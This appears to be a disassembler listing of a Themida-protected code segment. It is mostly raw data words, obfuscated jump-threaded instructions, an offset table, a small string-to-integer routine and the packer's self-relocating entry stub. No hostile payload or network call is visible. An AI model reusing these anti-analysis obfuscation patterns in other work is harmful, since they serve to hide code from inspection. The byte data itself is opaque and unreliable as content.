4ED64E32h dd 9D8BE472h, 6130B6Dh, 0B8h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0D60AD89Dh dd 66E2EAA2h, 0BD8DD18Bh, 5B89E0h, 0BE9h, 0AADE9600h, 0E7BD443Fh dd 0D7FA0F3Eh, 6AE7FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 19B0D9C3h, 1B8F9h, 85890000h, 61315F5h dd 89E0BD8Dh, 6A005Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 7EB6C2C3h, 519589A0h, 0FF06130Ah dd 52006AE7h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0E8C5035Ah, 14h, 40D7F907h, 0E43A69Bh, 8C6892DEh dd 0E41C77B8h, 6D84C67Eh, 19D18D89h, 8D5B0613h, 1345A3BDh dd 13E86006h, 9A000000h, 0A3A39605h, 86DC5F5Eh, 0C9F333B2h dd 8F9FD838h, 8166F582h, 592446D1h, 0E961C68Bh, 2B3h, 0FE9h dd 491A8300h, 38450480h, 682E4024h, 14AAA518h, 4F7285C7h dd 50613h, 0D88B0000h, 5B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E951BEB0h dd 818h, 29799533h, 0F8830613h, 13850F02h, 0B6000001h dd 219D8B34h, 0B806131Dh, 0 dd 197D952Bh, 0BA660613h, 0C00B55CFh, 0CE840Fh, 0AEB30000h dd 0F01F883h, 0FFFF9384h, 0ABBA66FFh, 0C5BD89EFh, 83061331h dd 840F03F8h, 0FFFFFEC9h, 898D3160h, 0E9061317h, 14h, 7A780AF2h dd 67A72B5Bh, 0BF39391Bh, 0AFF3F9ABh, 0F7528C9Ah, 0B861h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 24CE03C3h, 0E827B90Eh, 11h, 952B7136h, 4CE56A84h dd 1FE4AB1Ch, 80185DEAh, 14E87Dh, 0F30A0000h, 0C62914F6h dd 47BAC7CDh, 128D62A3h, 0FC4420C6h, 8E93B89h, 27000000h dd 42C7652Eh, 5BDDC296h, 0E0BD8D5Bh, 6A005B89h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 2B8DC352h, 9D8BE7FFh, 61322E9h, 479BBD8Dh, 8A0F0613h dd 3, 0E9D68B66h, 15Bh, 0DE9h, 0AE5A6900h, 0C773BF51h dd 0B0775C70h, 0F8838CB7h, 31850F03h, 29000000h, 13003595h dd 2FBD8D06h, 50061349h, 1EF99D8Bh, 0E95B0613h, 127h, 13E9h dd 3280A700h, 95F014CFh, 0D75DEFBh, 0B5C47D2Ah, 0B2E37094h dd 0F05F883h, 885h, 0ADE9FC00h, 8A000006h, 6F883F4h, 41850Fh dd 870F0000h, 6, 296D8589h, 0BD8D0613h, 6134B27h, 1B99B501h dd 0D8E90613h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0E8C4C355h, 2268C811h dd 833B77EDh, 850F07F8h, 46h, 0BD8D3EB3h, 6132609h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8AC35747h, 359F5E63h dd 48B0Fh, 0BB660000h, 1AE994F2h, 0E9000001h, 0Ah, 44A4EBB5h dd 2C2CE980h, 0F8832E01h, 5C850F0Ah, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0A20DC353h, 4D1FBD8Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 14DF08C3h, 97C200C0h dd 24858509h, 0CE90613h, 8B000000h, 1314599Dh, 5952906h dd 5706132Ch, 3576E281h, 3FB946D7h, 834738D2h, 840F003Fh dd 8Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h dd 89C35343h, 9D2440Eh, 131CFD8Dh, 6A0F3006h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 7806C353h, 0CD8D3146h, 81061313h, 9E3481D2h, 0FC9D11Bh dd 683h, 1958900h, 4706131Dh, 598D8960h, 8B06130Dh, 131985B5h dd 958B6106h, 613103Dh, 0FFFF7EE9h, 8E8FFh, 0D09F0000h dd 0A0988BFBh, 5BF9CA68h, 22819D29h, 0B65F0613h, 1BBD89D4h dd 0F06134Fh, 286h, 8DDF8B00h, 132AA58Dh, 13E906h, 0E3130000h dd 0A1F4C767h, 23A1ADE4h, 5607C66h, 0C105D764h, 0EED780BFh dd 1CBDB5FFh, 958B0613h, 613208Dh, 0A34D858Dh, 8D500615h dd 13573ABDh, 0C08D8D06h, 0B8061372h, 54831ABCh, 730CF2Bh dd 4947C8D0h, 0B58DF875h, 6137268h, 72D88D8Dh, 0CF2B0613h dd 0C933A4F3h, 0B8h, 74C00B00h, 0F1BD8346h, 61307h, 95FF0674h dd 6131339h, 4F1BB58Bh, 858D0613h, 615A34Dh, 858DD0FFh dd 6134381h, 85C7D0FFh, 61311CDh, 1, 8B9A58Bh, 0B58B0613h dd 6133481h, 13E5AD8Bh, 0C0330613h, 6A000CC2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 78F1C356h, 7B6360Bh, 1FC5B589h, 0BD830613h, 61307E5h dd 15840F00h, 80000000h, 95FFF8E3h, 6131685h, 6850Fh, 95310000h dd 613153Dh, 22C1BD83h, 0F000613h, 18385h, 3DEE8000h, 173DBD83h dd 0F010613h, 17385h, 0ED953300h, 83061300h, 1321BDBDh dd 840F0006h, 160h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 8FC35040h, 7A0DC539h, 2A599D8Bh, 0BD830613h dd 6134F6Eh, 2D840F00h, 89000001h, 1334859Dh, 4D858D06h dd 0E80615A3h, 10h, 9FDFB996h, 3155BE4Ch, 7FC03920h, 9A592E33h dd 5E9h, 0D5E2100h, 8B5B4F05h, 1314519Dh, 1BB58B06h, 8906134Fh dd 132D19B5h, 81D0FF06h, 0F685DECAh, 0A99D2340h, 0C606130Eh dd 1311E185h, 820F5406h, 2, 0D48AD08Ah, 69595E68h, 11890FA8h dd 0E8000000h, 9, 9B098E16h, 17E383F9h, 5A616044h, 96240481h dd 6A56E565h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 1624C351h, 5762FD1Eh, 39A5BB75h dd 81665D99h, 0FF13ACF2h, 13116DB5h, 3830F06h, 0F000000h dd 858DDFBFh, 6133AADh, 0FFD9B70Fh, 0A5D380D0h, 7E9h, 0B3ECB00h dd 0ECF8CA4Ch, 6AFC006Ah, 858B60FFh, 613107Dh, 3211B589h dd 0FF610613h, 17E381D0h, 660486B7h, 0FF3CA8BAh, 1304C5B5h dd 0D8B70F06h, 1CBD95FFh, 6A0613h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0FE20C0C3h, 89BA69B8h dd 8D293359h, 61328E5h, 4F1BB58Bh, 6A0613h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0A87A3FC3h dd 66F59F9Fh, 0FC3D38Bh, 8Fh, 55B58B00h, 106130Fh, 1334AD85h dd 0FF60B06h, 0C84h, 71F9BA00h, 6C676E8h, 95BA6600h, 23858927h dd 8006134Fh, 0F8831FCAh, 0F9840F00h, 6A000002h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 225EC357h, 6AC66C53h, 0B8DFh, 83F50000h, 840F00F8h dd 51h, 11318589h, 0F8830613h, 2C850F02h, 0BB000000h, 11CAA5A9h dd 459E858Dh, 0EA800613h, 9292D94h, 0BD890000h, 6132185h dd 0C0BA6690h, 8B665038h, 0F8F890D1h, 0A19D8BC3h, 0B8061321h dd 0 dd 0FE9BD89h, 7DE90613h, 9000002h, 131A998Dh, 1B806h, 0F6800000h dd 0A3BD8DA0h, 0B061345h, 130E3195h, 0CDE906h, 9D8B0000h dd 6132485h, 0F02F883h, 5A85h, 11E800h, 1CA10000h, 0C7859AEEh dd 8AD66222h, 0A8E99B3h, 89E7900Ch, 1300A99Dh, 0BD8D5A06h dd 613479Bh, 0A358589h, 0E6800613h, 8DE97Bh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 27647C3h, 88101048h, 0BB665606h, 835A7A60h, 850F03F8h dd 37h, 59E3BA66h, 492FBD8Dh, 85890613h, 61331E5h, 46E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0DD9533D5h, 83061304h, 850F05F8h, 1Bh, 0F91958Bh dd 0B5E90613h, 0E9000000h, 0Bh, 0F6E35487h, 0B73A9D84h dd 57B26D96h, 21F58D29h, 810F0613h, 6, 2CD99589h, 3FB90613h dd 6A4738D2h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0B7F4C350h, 0E36291A0h, 0DE9CD24h dd 44000000h, 0BD26BB84h, 4F974D01h, 0B01D15F5h, 0F003F83h dd 4F84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0ABA57B70h, 0BD3160CFh, 61322B1h dd 1929858Bh, 30610613h, 8D9D8B0Fh, 0D1061313h, 0D99D8BC9h dd 4706132Fh, 1DCBFFBAh, 0FFAEE94Dh, 8589FFFFh, 6131F79h dd 0F05F883h, 0E385h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0DBF59D61h, 25958B2Dh dd 66061320h, 0BF0FD98Ch, 4C1F6D6h, 7C850Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0F4BD4C3h, 88Ch, 9D2B5000h, 61329BDh, 0B85Bh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 4355E0C3h, 8B1280C7h, 131FD595h, 52E906h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0BF2F55C3h, 858B0981h, 6130A71h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 51C35040h, 0BD8960C2h, 6131A35h dd 66E0FF61h, 0A4F6D381h, 1CBDBD83h, 0F000613h, 0A985h dd 59D8900h, 50061313h, 870F60h, 0E8000000h, 10h, 0D93380AEh dd 2612AD67h, 0CB6A0A6h, 75FB9A9Ch, 850Fh, 615E0000h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0B441C350h, 0E1D366D0h, 11E185C6h, 0E9450613h dd 0Eh, 0FBF2E6B3h, 0B339C56Dh, 0CF52D4F6h, 836836B4h dd 536E48F9h, 2404815Ah, 20296FE6h, 16219D8Bh, 0B5FF0613h dd 613116Dh, 1F99BD89h, 858D0613h, 6133AADh, 0FF83F280h dd 89D78BD0h, 131CBD85h, 199D2B06h, 58061319h, 12BB6651h dd 0BD835BB2h, 6134F72h, 82840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 3519C352h, 0F65E2885h, 0DDBD89C9h, 1061309h, 13309195h dd 0C5B5FF06h, 6A061304h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 46BFC356h, 0F83B84C4h dd 1CBD95FFh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0FD7648C3h, 5217714Ah, 37F38166h dd 0F88357h, 131850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0E517CAC3h, 0FAEDB797h dd 8C0F512Dh, 5, 0CF38166h, 0EE95AC2h, 0DE000000h, 44EFEEABh dd 3DC619EDh, 9A18572Fh, 0DDBD830Fh, 61310h, 5B840Fh, 950B0000h dd 61305B5h, 6810F51h, 81000000h, 0C0190DDAh, 0B5FF5A3Eh dd 61310DDh, 8EEA8166h, 1B8F833h, 66000000h, 0CC2DF381h dd 274E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 63E3EFA3h, 819D8B81h, 89061313h dd 130E3985h, 0C5B5FF06h, 0FF061304h, 1304C5B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0DCDFC059h, 95958906h, 0FF061329h, 131CBDB5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0B7043A38h, 1ECE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0D7D1544Dh, 2A16AE8h dd 0D1958B79h, 5F06130Eh, 155BD83h, 0F000613h, 0D185h dd 6880F00h, 8B000000h, 131CCD9Dh, 0E185C606h, 4D061311h dd 5B04B252h, 4E8h, 3576A800h, 525050A4h, 310FD88Bh, 448B585Ah dd 52500424h, 0FDE8B66h, 0BA666031h, 810FA6FEh, 0 aAzxl db 'aZX‹',0 db 66h, 0BAh, 0C6h dd 244489B0h, 0BDBB6604h, 336058EBh, 131FBD95h, 0FF61F506h dd 1310D1B5h, 0E422BA06h, 858D3D29h, 6133AADh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 31C35747h, 0BF74BEDDh dd 0D0FF0B7Ch, 0BE9h, 30F3D00h, 2DC09768h, 775196D3h, 1558589h dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0AC3365C3h, 3B910B89h, 89501A4Ch, 1325019Dh dd 0B85A06h, 2B000000h, 131E999Dh, 1BBD8906h, 6A06134Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 3A89C352h, 86BCBA66h, 5C70C4BAh, 0FC00B41h dd 5284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 9AB39DFFh, 80E9h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0A4CCB18h, 89FF8FB2h, 1304C185h, 72EB8106h, 0FF06E289h dd 131CBDB5h, 0EE906h, 8D670000h, 0FF6E19C5h, 0E7555CAEh dd 37E01506h, 0A34D858Dh, 820F0615h, 0Dh, 8E9h, 0D2EB9B00h dd 0F4B5A4BAh, 0CE9505Fh, 93000000h, 6597B388h, 0C6439E66h dd 89610537h, 8B532404h, 1315499Dh, 8B665A06h, 8D5650D8h dd 13573ABDh, 0B48D8D06h, 0B806137Ch, 748323BCh, 730CF2Bh dd 4947C8D0h, 585EF875h, 10DDBD83h, 74000613h, 958D8B06h dd 33061330h, 0B8C9h, 0C00B0000h, 0A8840Fh, 0BD830000h dd 61307F1h, 0FF067400h, 13133995h, 0B806h, 0C00B0000h dd 0BD830975h, 6134F23h, 83097401h, 134F23BDh, 0E750206h dd 4F1BB58Bh, 858D0613h, 615A34Dh, 0BD83D0FFh, 61307E5h dd 0FF067400h, 13168595h, 81858D06h, 0FF061343h, 0F1BD83D0h dd 206132Ch, 0A58B2F75h, 61308B9h, 10DD858Bh, 4890613h dd 0CD85C724h, 1061311h, 8B000000h, 134F1FB5h, 0E5AD8B06h dd 0B8061313h, 1, 0EB000CC2h, 0CD85C700h, 1061311h, 8B000000h dd 1308B9A5h, 81B58B06h, 8B061334h, 1313E5ADh, 0C2C03306h dd 0BD83000Ch, 61307E5h, 830F7400h, 131685BDh, 6740006h dd 168595FFh, 0B58B0613h, 6134F1Bh, 119589C3h, 0E8061330h dd 0Bh, 0F7A205AEh, 995AB2F7h, 934D847h, 130EADBDh, 0D22B5B06h dd 7DBD8960h, 60061324h, 2ECDB509h, 858B0613h, 613147Dh db 2 dup(61h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5840B2 ; --------------------------------------------------------------------------- loc_5840B0: ; CODE XREF: Themida_:005840B5j inc eax inc edi loc_5840B2: ; CODE XREF: Themida_:005840AEj cmp byte ptr [edi], 0 jnz short loc_5840B0 xor ecx, ecx mov edi, [ebp+8] jmp short loc_5840E1 ; --------------------------------------------------------------------------- loc_5840BE: ; CODE XREF: Themida_:005840E3j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5840D6 ; --------------------------------------------------------------------------- loc_5840D3: ; CODE XREF: Themida_:005840D9j mul ebx dec esi loc_5840D6: ; CODE XREF: Themida_:005840D1j cmp esi, 0 ja short loc_5840D3 pop ebx add ecx, eax pop eax inc edi dec eax loc_5840E1: ; CODE XREF: Themida_:005840BCj or eax, eax jnz short loc_5840BE mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 6Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 3FD4C353h, 0CB93A8CEh, 958BD3F9h, 6131719h dd 0F58D8B60h, 8B061313h, 132BA18Dh, 6A6106h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0E4548AC3h dd 0E9C18B36h, 21AA5h, 2 dup(5FBE9Eh), 0 dd 26C0023h, 12FEF4h, 26C001Bh, 5FA34Bh, 206h, 2, 1, 0 dd 0FA44C2CAh, 5 dup(0) dd offset byte_58B4D1 dd offset dword_58EFAC dd offset byte_589503 dd offset dword_58947C dd offset byte_586C1D dd offset dword_58F758 dd offset dword_59033C dd offset word_58FE36 dd offset byte_584589 dd offset word_5848B2 dd offset byte_585CC5 dd offset byte_58DD33 dd offset byte_58E67B dd offset byte_58840F dd offset word_589326 dd offset dword_58500C dd offset byte_58BBB9 dd offset byte_58AD91 dd offset byte_58BB09 dd offset word_58956A dd offset byte_58A2C1 dd offset byte_58F65D dd offset byte_5900A3 dd offset byte_58492B dd offset word_586486 dd offset dword_58DB74 dd offset dword_585D1C dd offset byte_5867E1 dd offset byte_58639F dd offset byte_5877A9 dd offset byte_58A443 dd offset byte_5845D9 dd offset word_58925A dd offset byte_58A71D dd offset byte_58A14F dd offset dword_589048 dd offset byte_58BD1D dd offset word_58A7EE dd offset byte_584787 dd offset word_588FDA dd offset word_588486 dd offset dword_58A808 dd offset dword_58B8B4 dd offset byte_58C0B7 dd offset word_58CA1A dd offset byte_588855 dd offset dword_58BA6C dd offset byte_5900ED dd offset byte_587A57 dd offset dword_586678 dd offset byte_58C361 dd offset aMsOh ; "¬S³oh{]" dd offset dword_58D930 dd offset byte_58CBED dd offset byte_588A67 dd offset word_58CC7E dd offset byte_58864D dd offset byte_58E7B3 dd offset byte_58A335 dd offset word_58D0B6 dd offset aN1Uhzp ; "1ØUh‡p" dd offset aM0Hzq ; "¬0Øh‡q" dd offset aSszg ; "S釣" dd offset aM0Hdr ; "¬0Øh„r" dd offset word_5895D2 dd offset dword_58F524 dd offset byte_587D5F dd offset byte_590241 dd offset byte_584FBD dd offset byte_589BEF dd offset dword_58C490 dd offset byte_58E261 dd offset byte_588B69 dd offset byte_58E1DD dd offset word_58B792 dd offset word_58A7FE dd offset byte_58E7A5 dd offset byte_58CF2F dd offset word_58B8CE dd offset word_585772 dd offset dword_58967C dd offset word_58641A dd offset word_58789E dd offset dword_58D568 dd offset word_5904F2 dd offset dword_58BB94 dd offset dword_5846A4 dd offset byte_58699D dd offset word_588B46 dd offset word_589316 dd offset word_58EE72 dd offset dword_58F214 dd offset byte_58D68B dd offset word_5848FE dd offset dword_58712C dd offset byte_585A2F dd offset byte_5871BF dd offset dword_58CC60 dd offset word_585912 dd offset byte_58DD29 dd offset word_58B9FE dd offset byte_586927 dd offset byte_58DFE3 dd offset byte_58ACE7 dd offset byte_58A2B3 dd offset byte_58DA31 dd offset word_5876D2 dd offset byte_587189 dd offset byte_589669 dd offset dword_5849B8 dd offset dword_58E4B0 dd offset byte_5847DF dd offset dword_5862D4 dd offset dword_58A57C dd offset byte_588F61 dd offset byte_58E6BD dd offset word_58EC0A dd offset byte_586B93 dd offset word_58D0C6 dd offset dword_58EDDC dd offset aMs5 ; "¬é5]" dd offset byte_58FB73 dd offset word_588A26 dd offset dword_58CCA0 dd offset aNh ; "h`]" dd offset dword_584E6C dd offset aFlSjk ; "f‹$$éjk" dd offset byte_58CFEB dd offset byte_58E4B9 dd offset byte_58E437 dd offset byte_58F595 dd offset word_588D32 dd offset word_588A7E dd offset byte_5903C5 dd offset aNsF ; "é:F" dd offset byte_5906D5 dd offset dword_58B764 dd offset byte_58B5ED dd offset dword_584A2C dd offset byte_58D223 dd offset byte_58D7E7 dd offset byte_58F1DF dd offset dword_58E9C8 dd offset aNhd ; "hd," dd offset dword_58A1AC dd offset byte_588159 dd offset byte_588D79 dd offset byte_58E2A1 dd offset aNs2 ; "é2%" dd offset dword_5844F4 dd offset word_58965A dd offset aN1Hyy ; "1ØhYY" dd offset byte_58999D dd offset word_586DD6 dd offset byte_58E93D dd offset word_589946 dd offset dword_58B7B0 dd offset word_58D34E dd offset byte_586C9F dd offset word_585DBE dd offset word_58A04A dd offset byte_58DBBD dd offset word_58794E dd offset dword_58615C dd offset dword_589110 dd offset word_58B67E dd offset dword_587B8C ; --------------------------------------------------------------------------- loc_58442C: ; CODE XREF: Themida_:005A6507j ; Themida_:005B63E6j ... pusha pushf cld call $+5 pop edi sub edi, 613816Ah mov eax, edi add edi, 6137E82h cmp eax, [edi+2Ch] jnz short loc_58444A jmp short loc_58445D ; --------------------------------------------------------------------------- loc_58444A: ; CODE XREF: Themida_:00584446j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_584459 ; --------------------------------------------------------------------------- loc_584454: ; CODE XREF: Themida_:0058445Bj add [edi+ecx*4+40h], eax dec ecx loc_584459: ; CODE XREF: Themida_:00584452j or ecx, ecx jnz short loc_584454 loc_58445D: ; CODE XREF: Themida_:00584448j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_58446A: ; CODE XREF: Themida_:00584471j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_58446A loc_584473: ; CODE XREF: Themida_:loc_584974j ; Themida_:00584BD9j ... lodsb sub esp, 2 jmp loc_59063D ; --------------------------------------------------------------------------- loc_58447C: ; CODE XREF: Themida_:0059076Fj add esi, 26D32018h sub ebp, esi pop esi jmp loc_58E634 ; --------------------------------------------------------------------------- dw 0F130h dd 0CA88525Ah, 0E95AD788h, 1A08h ; --------------------------------------------------------------------------- loc_584498: ; CODE XREF: Themida_:005849E8j add ebx, 0BEB34990h jmp loc_5881BB ; --------------------------------------------------------------------------- db 0BAh dd 4, 5AF2C781h, 0D70153B4h, 5AF2EF81h, 685A53B4h, 51EDh dd 0BD242C89h, 2, 13F1C781h, 0EF0167D2h, 13F1EF81h, 2C8B67D2h dd 4C48324h, 2474FF57h, 7E4CE904h, 815D0000h, 3400A1EDh dd 62F58167h, 0E9EDB55Fh, 0B18Eh dword_5844F4 dd 68h, 2434FF00h, 8B2434FFh, 0DAE9241Ch db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_584507: ; CODE XREF: Themida_:00585AF3j or edx, eax jmp loc_584C7E ; --------------------------------------------------------------------------- a1SZ db '1<$éÒZ',0 align 2 dw 29BEh dd 0C17D6369h, 0E6C103EEh, 60C68108h, 4E47B60Fh, 1501E681h dd 0EE816D7Dh, 0FAC9ADA9h, 0E95EF029h, 979Fh, 0E903E5C1h dd 47D9h, 4C4815Bh, 80000000h, 0E95265C3h, 46C3h ; --------------------------------------------------------------------------- loc_584554: ; CODE XREF: Themida_:00589FBDj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp and eax, edi mov edi, [esp] add esp, 4 or eax, eax jnz loc_5891C3 push ecx mov ecx, esp push esi jmp loc_58857B ; --------------------------------------------------------------------------- aTsj db 'TéJ°',0 db 0 byte_584589 db 68h, 0ADh, 23h ; DATA XREF: Themida_:005841B0o dd 4890000h, 200B824h, 47090000h, 2434FF1Ch, 858E9h db 0 ; --------------------------------------------------------------------------- loc_5845A1: ; CODE XREF: Themida_:0058D07Dj xor edx, edi jmp loc_589A67 ; --------------------------------------------------------------------------- loc_5845A8: ; CODE XREF: Themida_:0058DA86j add ecx, 4 jmp loc_584FA8 ; --------------------------------------------------------------------------- dd 0E958C201h, 9C57h, 8904EC83h, 0E0892404h, 405h, 40500h dd 4870000h, 34875C24h, 24248B24h, 104E9h db 0 byte_5845D9 db 64h, 66h, 8Bh ; DATA XREF: Themida_:0058420Co dd 18F76802h, 34890000h, 2218E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5845EA: ; CODE XREF: Themida_:00584D11j xchg ebx, [esp] pop esp mov [esp], esi push 20000h mov esi, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 add ecx, ebp pop ebp push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_585CF0 ; --------------------------------------------------------------------------- dd 243C875Dh, 2434FF5Ch, 0E92434FFh, 151Fh, 0AA53D6B9h dd 244C3155h, 815B5904h, 0AA53D6F3h, 0DA015F55h, 0F91E9h dd 24048F00h, 2404315Ch, 46C3E9h db 0 ; --------------------------------------------------------------------------- loc_584655: ; CODE XREF: Themida_:0058E962j sub edx, 1B332B08h add edx, ecx jmp loc_585920 ; --------------------------------------------------------------------------- dw 5CBAh dd 81061F34h, 1F345EF2h, 0E9D60106h, 4A29h, 0C8B60F5Ch dd 0A599E9h, 81E78900h, 4C7h, 4BE5600h, 29000000h, 0EFE95EF7h db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_584693: ; CODE XREF: Themida_:00587276j push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_58F6B6 ; --------------------------------------------------------------------------- dword_5846A4 dd 24048B66h, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 0E9243489h ; DATA XREF: Themida_:005842E8o dd 963h ; --------------------------------------------------------------------------- loc_5846C0: ; CODE XREF: Themida_:0058A784j shr ebx, 4 neg ebx sub ebx, 0A513E691h mov ecx, ebx jmp loc_58617F ; --------------------------------------------------------------------------- dw 0C781h dd 0FFFFFFFFh, 2D8DE9h, 48B6600h, 34D06824h, 1C890000h dd 4EC8124h, 89000000h, 0A8E92424h, 3100005Ah, 4332404h dd 36685C24h, 89000032h, 8853240Ch, 885150D3h, 0EB8853DDh dd 96E9D888h, 2D000098h, 2, 5C240487h, 9991E9h, 7FCF8100h dd 0F709F642h, 0AEC7E9D7h, 0BB530000h, 2978045Fh, 5D3692BAh dd 8C31E91Dh, 0D8290000h, 4EC81h, 1C890000h, 41136824h dd 6FE90000h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_584757: ; CODE XREF: Themida_:0058BF9Bj push edi push ecx jmp loc_588906 ; --------------------------------------------------------------------------- loc_58475E: ; CODE XREF: Themida_:005871B3j add ch, 49h xor al, ch jmp loc_588878 ; --------------------------------------------------------------------------- dd 0C3285A66h, 4EC81h, 14890000h, 0E996B224h, 4857h ; --------------------------------------------------------------------------- loc_58477C: ; CODE XREF: Themida_:00584A59j add esp, 4 jmp loc_58AC58 ; --------------------------------------------------------------------------- byte_584787 db 83h ; DATA XREF: Themida_:00584228o dd 248904ECh, 24048324h, 2434FF04h, 0E92434FFh, 5619h dd 8104C483h, 4C2h, 7FA56800h, 0C890000h, 81E18924h, 4C1h dd 4E98300h, 8B240C87h, 4892424h, 4B824h, 0C2290000h, 24143358h dd 49ACE9h, 0E9C33100h, 213Fh ; --------------------------------------------------------------------------- loc_5847D8: ; CODE XREF: Themida_:0058FB8Fj or esi, edi jmp loc_585EEE ; --------------------------------------------------------------------------- byte_5847DF db 0FFh ; DATA XREF: Themida_:0058434Co dd 669D1C77h, 2414D259h, 8C4FE99Ch, 0C4830000h, 1ABD0504h dd 0CD2D320Bh, 291BDE30h, 30CD05D8h, 0BA521BDEh, 320B1ABDh dd 685AD029h, 5749h, 0E9241489h, 3276h, 0E924248Bh, 9BBAh ; --------------------------------------------------------------------------- loc_584820: ; CODE XREF: Themida_:005857DAj mov ebp, 4 jmp loc_584AE2 ; --------------------------------------------------------------------------- dw 8166h dd 663BA2EBh, 2E9C329h, 0BA0000ABh, 4, 970CE9h, 0E5C15900h dd 0C6E95606h, 5300004Bh, 0D7F6D788h, 81E9FA88h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_584857: ; CODE XREF: Themida_:0058838Dj push bx mov bl, 1Dh add cl, bl pop bx jmp loc_585AF8 ; --------------------------------------------------------------------------- dd 42CAC681h, 565971A8h, 42474FFh, 85CCE9h, 0E9F30100h dd 6828h, 8904EC83h, 4812424h, 424h, 9CA0E900h, 0F3870000h dd 595E5156h, 0AB49E9h, 48F5900h, 24248B24h, 9C240428h dd 0FFFBCAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5848A9: ; CODE XREF: Themida_:005861B8j pop esp pop dword ptr [edi+20h] jmp loc_58D4CA ; --------------------------------------------------------------------------- word_5848B2 dw 34FFh ; DATA XREF: Themida_:005841B4o dd 24048B24h, 0B25E9h, 2434FF00h, 4C4815Fh, 81000000h dd 2565D8F2h, 0D3BF5770h, 8142F96Ch, 5040CFF7h, 8CEF8179h dd 1D829D4h, 0D0295FF8h, 95D5E9h, 0A96A3500h, 0C189AD18h dd 0E9CA3158h, 254Bh ; --------------------------------------------------------------------------- loc_5848F8: ; CODE XREF: Themida_:0058C1A5j pop ebx jmp loc_58CC86 